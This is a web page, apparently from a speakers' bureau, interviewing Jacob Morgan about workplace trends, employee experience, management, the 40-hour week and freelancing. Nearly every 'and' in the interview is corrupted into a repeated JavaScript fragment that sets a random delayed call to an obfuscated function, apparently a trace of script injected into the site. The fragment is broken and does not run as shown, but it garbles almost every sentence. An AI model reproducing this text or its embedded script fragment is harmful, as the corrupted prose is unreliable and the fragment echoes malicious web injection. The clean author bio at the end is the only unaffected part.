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The Future of Work, with Jacob Morgan


Jacob Morgan is moving companies forward by helping them adapt to the changing world of work. He guides companies in revamping their approach to talent management, the physical workplace, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and culture so that personal growth, professional development, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and performance flourish. His best-selling books The Future of Work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and The Collaborative Organization have been endorsed by numerous global leaders. Jacob has been featured in the Wall Street Journal, MIT Sloan Management Review, NPR, Fast Company, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and CNN. His widely read blog, TheFutureOrganization.com andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and his column for Forbes investigate the latest trends shaping careers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the way we work.

The way we think about andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and approach work has fundamentally changed. We are more comfortable living a more public life where we share, communicate, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and collaborate in front of the whole world to see.

CORE Agency What are the 5 Trends shaping the future of work?

The Future of Work, with Jacob Morgan
The five trends that are impacting everything we know about how the workplace is changing are:

• Globalization: doing business in a world where boundaries of any kind are crumbling. The language you speak, the currency you transact in, the culture you subscribe to, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and where you are located are mattering less andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and less.

• Mobility: Being able to get your job done anywhere, anytime, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and on any device.

• Millennials andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and changing demographics: Today millennials are already the largest workplace demographic. By 2020 they will comprise 50% of the workforce andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and by 2025 they will make up 75% of the workplace. Organizations need to figure out what to about this shift andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the five-generation workforce.

• Technology: Big data, cloud computing, the internet of things, wearable devices, AI andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and robots, augmented andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and virtual reality…these are just some of the many new technologies that are going to change the way work gets done.

• New behaviors: The way we think about andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and approach work has fundamentally changed. We are more comfortable living a more public life where we share, communicate, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and collaborate in front of the whole world to see. Our values andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and entire concept around what work is andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how it should be done are changing.

CORE Agency What is “the employee experience” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and why is it becoming more important?

The Future of Work, with Jacob Morgan
I define employee experience as the organization’s attempt at creating a place where people want to show up to work as opposed to needing to show up to work. Employers focus on three environments: the cultural, technological, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and physical.

This is the topic of my new book for Wiley called, The Employee Experience Advantage. For this book I interviewed 150 senior executives, combed through over 150 research articles, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and analyzed over 250 global organizations to determine how effective organizations are at creating employee experiences.

Shockingly, only 6% of all of the organizations I analyzed would be considered Experiential Organizations, meaning they are amazing at creating employee experiences. There are 8 other categories of organizations I developed as well.

This is a crucial area of investment for organizations around the world as they realize they need to do more in order to attract andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and retain the very best talent. Why would someone want to come work for you instead of your competitor or your neighbor? Employee Experience is what allows us to create organizations where people want - not need - to show up to work.

Create employee experiences with your people, not for your people. Employees need to have a say, which means asking for constant feedback andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and encouraging employees to speak up andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and share.

CORE Agency What steps can organizations take to create an outstandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding employee experience?

The Future of Work, with Jacob Morgan
There are a few things that organizations can do.

First, organizations have to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that employee experience is not the same thing as employee engagement. Today employee engagement has become a short-term adrenaline shot vs. the long-term strategic design of the organization. Employee experience is the long-term cause while employee engagement is the effect.

Second, create a strong Reason for Being which is essentially a modified Mission Statement that does a great job of connecting the work that the employees do with the impact they have on the organization, the world, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the surrounding communities.

Third, understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that the employee experience isn’t a nebulous thing. From my research I have found that all employee experiences are created by a combination of three environments, which are: cultural, technological, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and physical. Furthermore, I identified 17 variables that span these three environments.

Fourth, create employee experiences with your people, not for your people. Employees need to have a say, which means asking for constant feedback andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and encouraging employees to speak up andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and share.

These are good starting points, at least until my new book comes out.

CORE Agency Is it possible for organizations to give employees too much freedom?

The Future of Work, with Jacob Morgan
This usually comes into play when organizations talk about self-management versus autonomy. Self-management is where employees decide the direction of the organization andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then decide the steps they want to take to get there. Autonomy is where the organization decides the strategic direction andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the employees help figure out how to get there.

I don’t believe self-management is the future of work, at least not anywhere in the near future andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and not for larger organizations. Can you imagine going into a large organization andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and just giving everyone complete freedom to work on anything andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and everything they want? It would be complete chaos! Instead it’s helpful to provide guidance to employees to help them understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the destination while empowering them to figure out the route to take to get there. That’s more scalable, practical, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and realistic.

CORE Agency During the hiring process, what are some ways hiring managers/recruiters can spot candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andidates who perform well without supervision?

The Future of Work, with Jacob Morgan
People who have a background in “doing their own thing” are typically good at being self-driven andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and determined. The same is true for people who have previously worked in flexible environments.

CORE Agency How is the role of management changing?

Managers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and management was created for one thing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one thing only: to enforce rules, policies, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and protocols. Today managers are becoming more like coaches andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mentors instead of enforcers of rules. In fact one of the best ways to spot a good manager is to look at whether or not they help make people more successful than they were before! That’s a great manager.

CORE Agency What is the future of the 40-hour workweek as a standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard for full time employment?

The Future of Work, with Jacob Morgan
Although there are a few experiments going on around the world to test variations on the traditional workweek, it’s hard to see the 40-hours disappearing, at least in the near future. We have a climate of business, political, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and geopolitical uncertainty where people are trying to work hard andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and save as much as they can. Amazon recently made the news where they were testing a new shorter workweek. However, what people need to realize is that a shorter workweek means less money; it’s proportional.

Now, if we can reduce the workweek while keeping pay andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and benefits the same, then that’s something that would make more sense. Many believe that with the introduction of more AI andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and robots that this could potentially happen, but it won’t be in the next few years. We also need to remember that even if the workweek drops to let’s say 32 or 24 hours a week, that we as individuals can still opt to work on the side by driving for Uber or freelancing on sites like Upwork. This can potentially increase income inequality, as those who decide to work beyond the standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard workweek will naturally make more.

If you can make freelancing work it’s the most rewarding thing you can do...but make no mistake, it is hard work!

CORE Agency What is the future of freelancing?

The Future of Work, with Jacob Morgan
Freelancing is a small part of what is being known as Alternate Work Arrangements. When most people think of freelancing today they think of what the JP Morgan Chase Institute refers to: online platforms that make up either capital or labor platforms. Capital platforms are places where you sell or rent things like Etsy or Airbnb. Labor platforms are sites like Uber or Task Rabbit where a task is performed. If you look at the media today you will see all sorts of outrageous numbers stating that 20% of the workforce is a part of these platforms, but this is nonsense. Every serious academic study realized shows that there are around 0.5%-1% of the workforce using these online intermediaries. It’s growing quickly but it’s nowhere near what most people think.

I definitely see a strong andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and bright future for freelancers but we have to remember that it’s not as though anyone can say “I want to freelance” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then magically have projects lined up. Being a freelancer is similar to being an entrepreneur or a small business owner. By saying you want to become a freelancer you’re essentially saying, “I’m going to start my own successful business.” The good news is that it’s never been easier to do this, but there are still plenty of challenges andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and uncertainties that freelancers have to deal with such as getting clients, dealing with legal issues andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and taxes, marketing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding, website design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and creative, learning how to work with andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hire other freelancers to help you, managing income instability, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the like. If you can make freelancing work it’s the most rewarding thing you can do (speaking as someone who has technically been freelancing for the past 8 years), but make no mistake, it is hard work!

CORE Agency What are some strategies people can use to build a successful career as a freelancer?

The Future of Work, with Jacob Morgan
I can only share what I did. I had a full time job andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then on the side I started doing side gigs. I saved up to the point where if I had gotten fired andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and didn’t make another penny, I’d have at least enough money to cover a year of expenses. Keep in mind, this was living in San Francisco around 2008-2009 so at the time that figure was the equivalent to $16,000. I waited until my side projects brought in enough revenue to cover my main expense, rent, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then I quit my job.

The best advice I can give anyone who wants to become a freelancer is be smart about it. Make sure you have some savings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a back-up plan. Mine was moving back to LA andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and living with parents (which I definitely didn’t want to do). Heck, I was even willing to go work at a Starbucks if I had to! People who want to freelance also have to learn about the business side of things, i.e. starting a business, paying taxes, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the like.

As far as building your personal brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there are 3 things that worked for me:

1. Consistency – make sure your message andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding is consistent, in other words don’t start talking or writing about leadership one month andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and then all of a sudden start talking about customer service the following month. Pick an area andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and own it.

2. Frequency – Create content as often as you can that will help position you as a thought leader.

3. Visibility – Share your content in the most visible ways andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and platforms possible.

CORE Agency Could you tell us the story of how you became a thought leader on the future of work andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and employee experience?

The Future of Work, with Jacob Morgan
It all started with terrible jobs I had working for other people. I was never a good student in high school or even community college; however, when I started my final two years of college at UCSC I was determined to get good grades. I graduated with honors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a dual B.A. in business management economics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and psychology. I was very excited to join the corporate world andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and make a difference. My first job out of college was for a company in LA. When I interviewed there I was told I’d be traveling andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and meeting with business leaders, working on cool projects, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and helping out with strategy. This is exactly what I wanted, so much so that I was willing to forego the 1.5 hour commute to andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and from work every day. That’s 3 hours a day total, 15 hours a week, making it a part time job just driving to a job. But no matter, I was excited to work there.

A few months into my job I was doing data entry, cold calling, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and power point presentations. One day, an executive came out of his nice corner office overlooking downtown LA andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and said, “Jacob I have an important job for you.” Naturally I was excited! He reached into his wallet andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anded me a $10 bill andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and said, “I’m late for a meeting. Can you run over to Starbucks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and get me a latte? And get something for yourself as well.” That was one of the last full-time jobs I had working for anyone else. Since then I’ve become fascinated with how the workplace is changing, how we can create places where employees want to show up, what the manager of the future is going to look like, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and where the future of work is going to take us.

I suppose I should be thankful for that job!

To bring Jacob Morgan to your organization, please contact Michael Frick at: Mike@Speaking.com






AUTHOR

Jacob Morgan is moving companies forward by helping them adapt to the changing world of work. He guides companies in revamping their approach to talent management, the physical workplace, and culture so that personal growth, professional development, and performance flourish. Jacob's best-selling books The Future of Work and The Collaborative Organization have been endorsed by numerous global leaders. He has been featured in the Wall Street Journal, MIT Sloan Management…... more


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